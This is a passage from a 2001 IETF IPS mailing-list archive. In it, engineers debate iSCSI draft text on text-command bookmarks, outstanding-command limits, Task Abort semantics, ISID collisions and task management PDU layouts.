better course of action, possibly with an additional sentence > requiring Task Abort to work on Text commands (i.e., to abort > a text command that's using bookmarks, fire a Task Abort at > it, after that succeeds, the next Text command will also). > A target that receives a text command in the presence of an > outstanding one then rejects the second as a protocol error. I'm not so sure about the task abort for bookmarks; wouldn't it be simpler to assume the task abort on receipt of the next text command? I think that's what Julian had intended. If a command is sent, and a response (with B=1) is received, and another command is sent, the target would silently discard any leftover context from the first command, and perform the second. There is another error case, however. If a text command is sent, and a response has not yet been received at all, and the initiator wants to send a different command, we would need to decide what to do. Your method using task abort above would work well in this situation, and we should specify what happens. -- Mark > > Thanks, > --David > --------------------------------------------------- > David L. Black, Senior Technologist > EMC Corporation, 42 South St., Hopkinton, MA 01748 > +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 > black_david@emc.com Mobile: +1 (978) 394-7754 > --------------------------------------------------- -- Mark A. Bakke Cisco Systems mbakke@cisco.com 763.398.1054 From owner-ips@ece.cmu.edu Thu Sep 6 03:18:07 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA16781 for ; Thu, 6 Sep 2001 03:18:07 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f865LgO04760 for ips-outgoing; Thu, 6 Sep 2001 01:21:42 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f865LZP04749 for ; Thu, 6 Sep 2001 01:21:39 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id HAA136824; Thu, 6 Sep 2001 07:21:17 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f865LGt154528; Thu, 6 Sep 2001 07:21:16 +0200 Importance: Normal Subject: RE: iSCSI - bookmarks change To: Black_David@emc.com Cc: mbakke@cisco.com, ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Thu, 6 Sep 2001 08:20:33 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.6 |December 14, 2000) at 06/09/2001 08:21:16 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk We could live with this too. The SHOULD is strong enough to dissuade any initiator to issue more than one but MUST is good too. The important thing is not to have this as a hidden assumption for other things so that if we feel (now or in the future that we want to remove the restriction we can do so). Julo Black_David@emc.com on 05-09-2001 23:04:46 Please respond to Black_David@emc.com To: mbakke@cisco.com, Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu Subject: RE: iSCSI - bookmarks change > If we simply have to have a way for a special implementation > to do multiple outstanding text commands, we could say: > > An initiator SHOULD have only one outstanding command on > a connection at any given time. > > A target receiving a text command while another text command > is in progress on the same connection MAY reject either or > both commands. > > Standard implementations would then have only one outstanding > command at a time; vendor-specific implementations could have > multiples if they wish (providing that both initiator and target > support them). Sorry to butt in on this, but ... That sort of compromise leads to interoperability problems. Either support for multiple outstanding commands is REQUIRED, or there is REQUIRED behavior when an implementation does this *and the Target detects it* (it's possible to overlap commands in a fashion that the target won't detect), or support for overlapping commands is negotiated on login leading to one of the previous two possibilities. The quoted text is in invitation to mismatched assumptions between Initiator and Target and resulting interoperability difficulties - the truly dangerous piece of Mark's text is the unpredictable ability to reject a new command based on existence of an old one, as it's entirely plausible to create a situation in which no forward progress is possible. I think Mark's original suggestion of turning the SHOULD into a MUST (only one outstanding Text Command on a connection) is the better course of action, possibly with an additional sentence requiring Task Abort to work on Text commands (i.e., to abort a text command that's using bookmarks, fire a Task Abort at it, after that succeeds, the next Text command will also). A target that receives a text command in the presence of an outstanding one then rejects the second as a protocol error. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Thu Sep 6 03:18:46 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA16793 for ; Thu, 6 Sep 2001 03:18:46 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f865Df104429 for ips-outgoing; Thu, 6 Sep 2001 01:13:41 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f865DBP04401 for ; Thu, 6 Sep 2001 01:13:12 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id HAA11998 for ; Thu, 6 Sep 2001 07:13:01 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f865CnH61234 for ; Thu, 6 Sep 2001 07:13:00 +0200 Importance: Normal Subject: Re: iSCSI - bookmarks change To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Thu, 6 Sep 2001 08:12:03 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.6 |December 14, 2000) at 06/09/2001 08:13:00 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Mark, Comments in text - Julo Mark Bakke @cisco.com on 05-09-2001 22:21:31 Please respond to Mark Bakke Sent by: mbakke@cisco.com To: Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu Subject: Re: iSCSI - bookmarks change The timeouts are the reason several of us had wanted something other than bookmarks in the first place; that's when we had proposed the "option 5" scheme that allowed an initiator to control the amount of data to be sent, and the target to not have to keep any state for text commands. Since the initiator has to keep state anyway (while waiting for responses), we did not want to also have to keep state on the target. +++ I understand that. I went through this line of though, and saw that the the target will anyhow have to implement a time-out as it can't completely rely aon the initiator for more than a single request/response (and even there not). It was preferable then to let thing be as simple as possible - 1 response/request. +++ Anyway, the bookmarks will work fine; I just want to see this not get too complicated, and not have too many options. If we are going to use bookmarks, I would at least like to see only one outstanding text command at a time, regardless of what we do with the ITT. I really don't see any difference between looking up an ITT or just looking at some value in a connection structure; I'll have the latter anyway. +++ Just regularity - the ITT mechanism is there and will be used for every PDU and for some recovery+++ I don't see the difficulty. Anyway, leaving ITT in does not hurt anything in the target, if we can at least change the SHOULD to MUST, the target can do the lookup either way. If we simply have to have a way for a special implementation to do multiple outstanding text commands, we could say: An initiator SHOULD have only one outstanding command on a connection at any given time. A target receiving a text command while another text command is in progress on the same connection MAY reject either or both commands. +++ OK +++ Standard implementations would then have only one outstanding command at a time; vendor-specific implementations could have multiples if they wish (providing that both initiator and target support them). -- Mark Julian Satran wrote: > > Mark, > > I gave it some tought. Relating it to the connection and task makes for a > more difficult implementation. > You have to make available structures per connection and you can never then > relax the one-text-command per connection (now it is only a resource > statement more than a logical constraint). > > The ITT allegiance is simple and it lets you store the local bookmark in a > data structure that will time-out. > I assume that a simple implementation will have one such > structure/initiator. > > Regards, > Julo > > Mark Bakke @cisco.com on 05-09-2001 18:29:49 > > Please respond to Mark Bakke > > Sent by: mbakke@cisco.com > > To: Julian Satran/Haifa/IBM@IBMIL > cc: ips@ece.cmu.edu > Subject: Re: iSCSI - bookmarks change > > Julian- > > This is getting a lot simpler. We can go even further by turning > the SHOULD below into a MUST. > > If we say: > > A connection MUST have only one outstanding text command at > any given time. > > This means that the bookmark flag references the connection on > which the text command is done, and makes the Initiator Task > Tag unnecessary in both the text command and response. We can > turn these into reserve fields, and reference the connection > instead of the ITT when discussing bookmarked commands. > > -- > Mark > > Julian Satran wrote: > > > > Now that text commands are out of login (and we don't have to care too > much > > about the immediate version) we can rationalize the bookmarks. > > > > Here is my suggestion for the new text request/response: > > > > 1.1 Text Command > > > > The Text Command is provided to allow the exchange of information and > > for future extensions. It permits the initiator to inform a target of > > its capabilities or to request some special operations. > > > > A connection SHOULD have only one outstanding text command at any > given > > time. > > > > Byte / 0 | 1 | 2 | 3 | > > / | | | | > > |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| > > +---------------+---------------+---------------+---------------+ > > 0|X|I| 0x04 |F|B| Rsvd | Reserved | > > +---------------+---------------+---------------+---------------+ > > 4| Reserved | DataSegmentLength | > > +---------------+---------------+---------------+---------------+ > > 8| Reserved | > > + + > > 12| | > > +---------------+---------------+---------------+---------------+ > > 16| Initiator Task Tag | > > +---------------+---------------+---------------+---------------+ > > 20| Reserved | > > +---------------+---------------+---------------+---------------+ > > 24| CmdSN | > > +---------------+---------------+---------------+---------------+ > > 28| ExpStatSN | > > +---------------+---------------+---------------+---------------+ > > 32/ Reserved / > > +/ / > > +---------------+---------------+---------------+---------------+ > > 48| Digests if any... | > > +---------------+---------------+---------------+---------------+ > > / DataSegment (Text) / > > +/ / > > +---------------+---------------+---------------+---------------+ > > > > 1.1.1 F (Final) Bit > > > > When set to 1 it indicates that this is the last or only text command > in > > a sequence of commands; otherwise it indicates that more commands will > > follow. > > > > 1.1.2 I - Immediate > > > > During the Login Phase (the current stage part of CNxSG is either > > SecurityNegotiation or LoginOperationalNegotiation), the Text command > > SHOULD be issued as an immediate command (I=1). > > > > 1.1.3 B - bookmark bit > > > > The bookmark bit set to 1 tells the target to continue from its last > > bookmark for the specific Initiator Task Tag and thus allows a target > to > > transfer a large amount of textual data over a sequence of > > text-command/text-response exchanges. > > > > The bookmark bit set to 0 tells the target that this is a new Text > > request; the target should reset any bookmark it holds on the specific > > Initiator Task Tag. > > > > A target MAY reject an old Bookmark. > > > > Bookmark generation at target is detailed in 2.11.2. > > > > Long text responses are handled as in the following example: > > > > I->T Text SendTargets=all (F=1,B=0) > > T->I Text (F=0,B=1) > > I->T Text (F=1,B=1) > > T->I Text (F=0,B=1) > > I->T Text (F=1,B=1) > > ... > > T->I Text (F=1,B=0) > > > > 1.1.4 Initiator Task Tag > > > > The initiator assigned identifier for this Text Command. > > If the command is sent as part of a sequence of commands (e.g., the > > Login Phase or a sequence of Text commands) the Initiator Task Tag > MUST > > be the same for all the commands within the sequence (similar to > linked > > SCSI commands). > > > > 1.1.5 Text > > > > The initiator sends the target a set of key=value or key=list pairs > > encoded in UTF-8 Unicode. All the text keys and text values specified > in > > this document are to be presented and interpreted in the case they > > appear in this document (they are case sensitive). The key and value > are > > separated by a '=' (0x3d) delimiter. Every key=value pair (including > the > > last or only pair) MUST be followed by null (0x00) delimiter. A list > is > > a set of values separated by comma (0x2c). Large binary items can be > > encoded using their hexadecimal representation (e.g., 8190 is 0x1ffe) > or > > decimal representation. The maximum length of an individual value (not > > its string representation) is 255 bytes. > > > > The data lengths of a text command or response MUST NOT exceed 4096 > > bytes. Key names MUST NOT exceed 63 bytes. Key values MUST NOT exceed > > 255 bytes. > > > > Character strings are represented as plain text. Numeric and binary > > values are represented using either decimal numbers or the hexadecimal > > 0xffff notation. Upper and lower case letters may be used > > interchangeably in hexadecimal notation (i.e., 0x1aBc, 0x1AbC and > 0x1ABC > > are equivalent). > > > > The target responds by sending its response back to the initiator. The > > response text format is similar to the request text format. > > > > Some basic key=value pairs are described in Appendix A and Appendix D. > > All keys in Appendix D, except for the X- extension format, MUST be > > supported by iSCSI initiators and targets. Keys in Appendix A MUST be > > supported only when the function they refer to is mandatory to > > implement. > > > > Manufacturers may introduce new keys by prefixing them with X- > followed > > by their (reversed) domain name, for example the company owning the > > domain acme.com can issue: > > > > X-com.acme.bar.foo.do_something=0000000000000003 > > > > Any other key not understood by the target may be ignored by the > target > > without affecting basic function. However the Text Response for a key > > that was not understood MUST be key=NotUnderstood. > > > > Text operations are usually meant for parameter setting/negotiations > but > > can be used also to perform some long lasting operations. > > > > Text operations that will take a long time should be placed in their > own > > Text command. > > > > 1.2 > > > > Text Response > > > > The Text Response PDU contains the target's responses to the > initiator's > > Text Command. The format of the Text field matches that of the Text > > Command. > > > > Byte / 0 | 1 | 2 | 3 | > > / | | | | > > |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| > > +---------------+---------------+---------------+---------------+ > > 0|1|1| 0x24 |F|B| Rsvd | Reserved | > > +---------------+---------------+---------------+---------------+ > > 4| Reserved | DataSegmentLength | > > +---------------+---------------+---------------+---------------+ > > 8| Reserved | > > + + > > 12| | > > +---------------+---------------+---------------+---------------+ > > 16| Initiator Task Tag | > > +---------------+---------------+---------------+---------------+ > > 20| Reserved | > > +---------------+---------------+---------------+---------------+ > > 24| StatSN | > > +---------------+---------------+---------------+---------------+ > > 28| ExpCmdSN | > > +---------------+---------------+---------------+---------------+ > > 32| MaxCmdSN | > > +---------------+---------------+---------------+---------------+ > > 36/ Reserved / > > +/ / > > +---------------+---------------+---------------+---------------+ > > 48| Digests if any... | > > +---------------+---------------+---------------+---------------+ > > / DataSegment (Text) / > > +/ / > > +---------------+---------------+---------------+---------------+ > > > > 1.2.1 F (Final) Bit > > > > When set to 1 in response to a text command with the Final bit set to > 1 > > the F bit indicates that the target has finished the current stage of > > the operation or the whole operation. Otherwise if set to 0 in > response > > to a text command with the Final Bit set to 1 it indicates that the > > target has more work to do (invites a follow-on text command). A text > > response with the F bit set to 1 in response to a text command with > the > > F bit set to 0 is a protocol error. > > > > A text response with a F bit set to 1 MUST NOT contain key=value pairs > > that may require additional answers from the initiator. > > > > 1.2.2 B - bookmark Bit > > > > Whenever a target can't transfer all the remaining text data in a > single > > Text response, it attempts to set an internal bookmark. If successful, > > the target associates the bookmark with the Initiator Task Tag. The > > target indicates that it holds a bookmark for the specific Initiator > > Task Tag by setting the bookmark (B) bit to 1 in the Text response. > The > > target resets the internal bookmark associated with a given Initiator > > Task Tag if it receives a Text request with the specified Initiator > Task > > Tag with the bookmark bit set to 0. When a target can't transfer all > > the text data in a single text response and it cannot set an internal > > bookmark it rejects the Text request with an appropriate Reject code. > A > > target may reset its internal bookmark(s) after some time in order to > > reclaim resources associated with the bookmark and reject subsequent > > Text requests with the bookmark bit set to 1. > > > > When all the text data fit in a single Text response the bookmark bit > of > > the response is set to 0 and the bookmark associated with the > Initiator > > Task Tag is reset. > > > > 1.2.3 Initiator Task Tag > > > > The Initiator Task Tag matches the tag used in the initial Text > Command > > or the Login Initiator Task Tag. > > > > 1.2.4 Text Response Data > > > > The Text Response Data Segment contains responses in the same > key=value > > format as the Text Command and with the same length and coding > > constraints. Appendix A and Appendix D lists some basic Text Commands > > and their Responses. > > > > Although the initiator is the requesting party and controls the > > request-response initiation and termination the target can offer > > key=value pairs of its own as part of a sequence and not only in > > response to an identical key=value pair offered by the initiator. > > > > A Key=value pair must be confined to a given text response even in the > > presence of bookmark - i.e., it must start and end within one Text > > Response. > > > > The Reject Reasons table looks like: > > > > 1.1.1 Reason > > > > The reject Reason is coded as follows: > > > > +------+-----------------------------------------+------------------+ > > | Code | Explanation | Can the original | > > | (hex)| | PDU be re-sent? | > > +------+-----------------------------------------+------------------+ > > | 0x01 | Format Error | no | > > | | | | > > | 0x02 | Data (payload) Digest Error | yes (Note 1) | > > | | | | > > | 0x03 | Data-SNACK Reject | yes | > > | | | | > > | 0x04 | Protocol Error (e.g., SNACK request for | no | > > | | a status that was already acknowledged) | | > > | | | | > > | 0x05 | Command not supported in this session | no | > > | | type | | > > | | | | > > | 0x06 | Immediate Command Reject - too many | yes | > > | | immediate commands | | > > | | | | > > | 0x07 | Bookmark Reject - No bookmark for this | no | > > | | Initiator Task Tag | | > > | | | | > > | 0x08 | Bookmark Reject - Can't generate | yes | > > | | bookmark - out of resources | | > > | | | | > > | 0x0f | Full Feature Phase Command before login | no | > > +------+-----------------------------------------+------------------+ > > > > Comments? > > > > Julo > > -- > Mark A. Bakke > Cisco Systems > mbakke@cisco.com > 763.398.1054 -- Mark A. Bakke Cisco Systems mbakke@cisco.com 763.398.1054 From owner-ips@ece.cmu.edu Thu Sep 6 03:31:14 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA16981 for ; Thu, 6 Sep 2001 03:31:10 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f865raX06062 for ips-outgoing; Thu, 6 Sep 2001 01:53:36 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from zcamail05.zca.compaq.com (zcamail05.zca.compaq.com [161.114.32.105]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f865rYP06058 for ; Thu, 6 Sep 2001 01:53:34 -0400 (EDT) Received: by zcamail05.zca.compaq.com (Postfix, from userid 12345) id A8A8D2C16; Wed, 5 Sep 2001 22:57:36 -0700 (PDT) Received: from exchou-gh02.cca.cpqcorp.net (exchou-gh02.cca.cpqcorp.net [16.110.248.202]) by zcamail05.zca.compaq.com (Postfix) with ESMTP id BCAFC2C0E; Wed, 5 Sep 2001 22:57:35 -0700 (PDT) Received: by exchou-gh02.cca.cpqcorp.net with Internet Mail Service (5.5.2652.78) id ; Thu, 6 Sep 2001 00:53:17 -0500 Message-ID: <31891B757C09184BBFEC5275F85D5595104DBF@cceexc18.americas.cpqcorp.net> From: "Martin, Nick" To: "KRUEGER,MARJORIE (HP-Roseville,ex1)" , ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call Date: Wed, 5 Sep 2001 16:49:44 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2652.78) content-class: urn:content-classes:message Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Marj, You mention vendors not knowing how to play right. The problem is that iSCSI does not and will not specify how two HBAs from different vendors installed in the same Initiator should or could get a range of ISIDs for their exclusive use. This will be operating system specific and vendor defined. It is uncertain that the same tool or repository would be used by all HBA vendors in any environment. Given this, accidental overlap in ISID space is not unlikely. Given that there is no one way to play right, we must make sure that everyone can at least play nice. My expectation is that sessions are infrequently established and long lived. ISIDs may be re-used at will by their current owners. When no "already owned" ISIDs are available, or an attempt to re-use an "already owned" ISID failed, and HBA would need to a) "probe" for a new available ISID or b) fail the request to establish the session. Session recovery should not be attempted unless a session is known to have failed. If tools are available, and the administrator has used them correctly, then HBAs will not collide in ISID space. If the tools are not available or were not used correctly, I would hope the second HBA can still attempt to come up without impacting the sessions established by the first. Again, I state my support for a login with existing ISID harmlessly fails (the Target state does not change) unless a session recovery indicator is set. Also if a session recovery indicator is set, and the ISID is not in use (by this Initiator at this Target), the login also fails. Thanks, Nick -----Original Message----- From: KRUEGER,MARJORIE (HP-Roseville,ex1) [mailto:marjorie_krueger@hp.com] Sent: Friday, August 31, 2001 12:09 PM To: Martin, Nick; ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call > In particular this enables independent agents within the same initiator to > attempt a login without knowing all ISIDs in use by other agents. Each > agent would know the ISID of sessions it had successfully established, but > not the ISIDs for sessions established by others. It can use the ISIDs it > knows to recover sessions it owns. If an agent gets a failure attempting to > establish a new session, it would pick a different ISID and > retry (or just quit), rather than disrupting a session of another agent. The intent of the presentation on SCSI/iSCSI modeling, and the text in the draft, is to illustrate how this example is not a recommended implementation choice due to the probability of violating the SCSI/iSCSI rules pointed out. If the "independant agents" had partitioned the ISID space, there would be no collision on login and no time wasted. Your illustrated implementation could spend significant time "trying" ISID's in use by the "other agents". However, I'm starting to have more sympathy with Julian's concerns due to the apparent risks of different vendors' initiator implementations not following the rules. I just imagined having vendor A's HBA installed and happily servicing applications, installing vendor B's "plug-n-play" implementation, and having all A's sessions aborted cause B doesn't know how to play right :-( Marj From owner-ips@ece.cmu.edu Thu Sep 6 04:09:40 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA17357 for ; Thu, 6 Sep 2001 04:09:39 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f866fdl08130 for ips-outgoing; Thu, 6 Sep 2001 02:41:39 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from bramg1.net.external.hp.com (bramg1.net.external.hp.com [192.6.126.73]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f866fZP08124 for ; Thu, 6 Sep 2001 02:41:36 -0400 (EDT) Received: from quasit.br.itc.hp.com (quasit.br.itc.hp.com [15.145.8.135]) by bramg1.net.external.hp.com (Postfix) with ESMTP id 032D910D for ; Thu, 6 Sep 2001 08:42:00 +0200 (METDST) Received: from loddon.br.itc.hp.com (loddon.br.itc.hp.com [15.145.8.166]) by quasit.br.itc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail) with SMTP id HAA29319 for ; Thu, 6 Sep 2001 07:41:30 +0100 (BST) Received: from 15.145.8.166 by loddon.br.itc.hp.com (InterScan E-Mail VirusWall NT); Thu, 06 Sep 2001 07:41:29 +0100 (GMT Daylight Time) Received: by loddon.br.itc.hp.com with Internet Mail Service (5.5.2653.19) id ; Thu, 6 Sep 2001 07:31:29 +0100 Message-ID: <0B9A57FF1D57D411B47500D0B73E5CC101E7A88E@dickens.bri.hp.com> From: "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" To: ips@ece.cmu.edu Subject: RE: iSCSI abort task - the saga continues Date: Thu, 6 Sep 2001 07:31:28 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Hi Julian and Sandeep, Is section 8.4 still value for Abort task Set, Clear Task Set etc? Cheers Matthew -----Original Message----- From: Sandeep Joshi [mailto:sandeepj@research.bell-labs.com] Sent: Tuesday, September 04, 2001 1:42 AM To: Julian Satran Cc: ips@ece.cmu.edu Subject: Re: iSCSI abort task - the saga continues Julian, Great..less complexity! a) I guess this eliminates Sec 8.3 & Sec 8.4 then ? Is there a need to eliminate unrelated commands which are lower than the cmdSN of the task to be aborted ? > For all the tasks covered by the task management response (i.e., with > CmdSN not higher than the task management command CmdSN), additional > responses MUST NOT be delivered to the SCSI layer after the task > management response. b) What is the value in retaining refCmdSN in the PDU now that the same connection is being used for abort task ? Even in case of failing connections, the ITT will be used by the target to determine if the task to be aborted exists, correct? -Sandeep Julian Satran wrote: > > Dear colleagues, > > Here is a simpler version of the Task Management Request & Response. > > Abort task is processed only at target but the initiator issues it only on > the same connection (as Santosh Rao once proposed) with the added semantic > that if the connection is failing it can be issued on a new connection and > it means both abort and change allegiance. Here is the proposed text: > > 1.1 Task Management Function Request > > Byte / 0 | 1 | 2 | 3 | > / | | | | > |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| > +---------------+---------------+---------------+---------------+ > 0|X|I| x02 |0| Function | Reserved | > +---------------+---------------+---------------+---------------+ > 4| Reserved | > +---------------+---------------+---------------+---------------+ > 8| Logical Unit Number (LUN) or Reserved | > + + > 12| | > +---------------+---------------+---------------+---------------+ > 16| Initiator Task Tag | > +---------------+---------------+---------------+---------------+ > 20| Referenced Task Tag or 0xffffffff | > +---------------+---------------+---------------+---------------+ > 24| CmdSN | > +---------------+---------------+---------------+---------------+ > 28| ExpStatSN | > +---------------+---------------+---------------+---------------+ > 32| RefCmdSN or ExpDataSN | > +---------------+---------------+---------------+---------------+ > 36/ Reserved / > +/ / > +---------------+---------------+---------------+---------------+ > 48 > > 1.1.1 Function > > The Task Management functions provide an initiator with a way to > explicitly control the execution of one or more Tasks (SCSI and iSCSI > tasks). The Task Management functions are (for a more detailed > description of SCSI task management see [SAM2]): > > 1 ABORT TASK - aborts the task identified by the Referenced > Task Tag field. > 2 ABORT TASK SET - aborts all Tasks issued by this initiator on > the Logical Unit. > 3 CLEAR ACA - clears the Auto Contingent Allegiance condition. > 4 CLEAR TASK SET - Aborts all Tasks (from all initiators) for the > Logical Unit. > 5 LOGICAL UNIT RESET > 6 TARGET WARM RESET > 7 TARGET COLD RESET > 8 TASK RESUME - restart the task identified by the Referenced Task Tag > field on this connection > 9 TASK REPLAY - replay the task identified by the Referenced Task Tag > field on this connection > > For all these functions, if executed, the Task Management Function > Response MUST be returned using the Initiator Task Tag to identify the > operation for which it is responding. All those functions apply to the > referenced tasks regardless if they are proper SCSI tasks or tagged > iSCSI operations. Task management commands must be executed as if all > the commands having a CmdSN lower or equal to the task management CmdSN > have been received by the target (i.e., have to be executed as if > received for ordered delivery even when marked for immediate delivery). > For all the tasks covered by the task management response (i.e., with > CmdSN not higher than the task management command CmdSN), additional > responses MUST NOT be delivered to the SCSI layer after the task > management response. > > ABORT TAST Task Management Request MUST be issued on the same connection > to which the task to be aborted is allegiant at the time the Task > Management Request is issued if the connection is still active (it is > not undergoing an implicit or explicit logout). If the connection is > being implicitly or explicitly logged out and no other request will be > issued on the failing connection and no other response will be received > on the failing connection then an ABORT TASK Task Management request may > be issued on another connection and this Task Management request will > both establish a new allegiance for the command to be aborted and will > abort it (i.e., a task to be aborted will not have to be reinstated, > restarted or replayed and its status if issued but not acknowledged will > be reissued). For the ABORT TASK task management request the target MUST > NOT deliver additional responses after the task management response. > Whether the initiator should deliver or not task responses while a TASK > ABORT is executing but before delivering the task management response is > a matter of implementation. > > For the LOGICAL UNIT RESET function, the target MUST behave as dictated > by the Logical Unit Reset function in [SAM2]. > > The TARGET RESET function (WARM and COLD) implementation is OPTIONAL and > when implemented should act as described below. Target Reset MAY be > also subject to SCSI access controls for the requesting initiator. When > not implemented or when authorization fails at target, Target Reset > functions should end as if the function was executed successfully and > the response qualifier will detail what was executed. > > For the TARGET WARM RESET and TARGET COLD RESET functions, the target > cancels all pending operations and are both equivalent to the Target > Reset function specified by [SAM2]. They can both affect many other > initiators. > > In addition, for the TARGET COLD RESET the target then MUST terminate > all of its TCP connections to all initiators (all sessions are > terminated). > > For the TASK RESUME and TASK REPLAY the target should resume executing > the referenced task respectively replay it completely. TASK REPLAY MUST > be received by the target ONLY after the status for the command was > issued. TASK RESUME MUST be received by the target ONLY after the > connection on which the command was previously executing has been > successfully logged-out. > TASK RESUME and TASK REPLAY MUST be issued as immediate commands. > > 1.1.2 LUN > > This field is required for functions addressing a specific LU (ABORT > TASK, CLEAR TASK SET, ABORT TASK SET, CLEAR ACA, LOGICAL UNIT RESET) and > is reserved in all others. > > 1.1.3 Referenced Task Tag > > Initiator Task Tag of the task to be aborted, restarted or replayed > > 1.1.4 RefCmdSN or ExpDataSN > > For ABORT TASK the task CmdSN to enable task removal. If RefCmdSN does > not match the CmdSN of the command to be aborted at the target > The abort action MUST not be performed and the response MUST be function > rejected. > > If the function is task resume establishing a new connection allegiance > for a previously issued command, this field will contain the next > consecutive input DataSN number expected by the initiator (no gaps) for > the referenced command in a previous execution. > > 1.2 Task Management Function Response > > Byte / 0 | 1 | 2 | 3 | > / | | | | > |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| > +---------------+---------------+---------------+---------------+ > 0|1|1| 0x22 |1| Reserved | > +---------------+---------------+---------------+---------------+ > 4/ Reserved / > / / > +---------------+---------------+---------------+---------------+ > 16| Initiator Task Tag | > +---------------+---------------+---------------+---------------+ > 20| Referenced Task Tag or 0xffffffff | > +---------------+---------------+---------------+---------------+ > 24| StatSN | > +---------------+---------------+---------------+---------------+ > 28| ExpCmdSN | > +---------------+---------------+---------------+---------------+ > 32| MaxCmdSN | > +---------------+---------------+---------------+---------------+ > 36| Response | Qualifier | Reserved | > +---------------+---------------+---------------+---------------+ > 40/ Reserved / > +/ / > +---------------+---------------+---------------+---------------+ > 48 > > For the functions ABORT TASK, ABORT TASK SET, CLEAR ACA, CLEAR TASK SET, > LOGICAL UNIT RESET, TARGET WARM RESET, the target performs the requested > Task Management function and sends a Task Management Response back to > the initiator. The target provides a Response, which may take on the > following values: > > 0 - Function Complete > 1 - Task specified in the Referenced Task Tag field was not in > task set > 2 - LUN does not exist > 3 - Task running on a connection that was not logged-out > 4 - Task failover not supported > 5 - Task in progress > 6 - Task replay not supported > 255 Function Rejected > > All other values are reserved. > > The Qualifier field provides additional information about the Response. > > For a Response of "Function Complete" the valid Qualifiers are: > > 0 - Function Executed > 1 - Not Authorized > > For the TARGET COLD RESET and TARGET WARM RESET functions, the target > cancels all pending operations. For the TARGET COLD RESET function the > target MUST then close all of its TCP connections to all initiators > (terminates all sessions). > > The mapping of the response code into a SCSI service response code, if > needed, is outside the scope of this document. > > 1.2.1 Referenced Task Tag > > Initiator Task Tag of the task not found used in conjunction with > responses referring to a specific task. It MUST be set to 0xffffffff in > other cases. > > Comments? > > Julo From owner-ips@ece.cmu.edu Thu Sep 6 04:14:38 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA17421 for ; Thu, 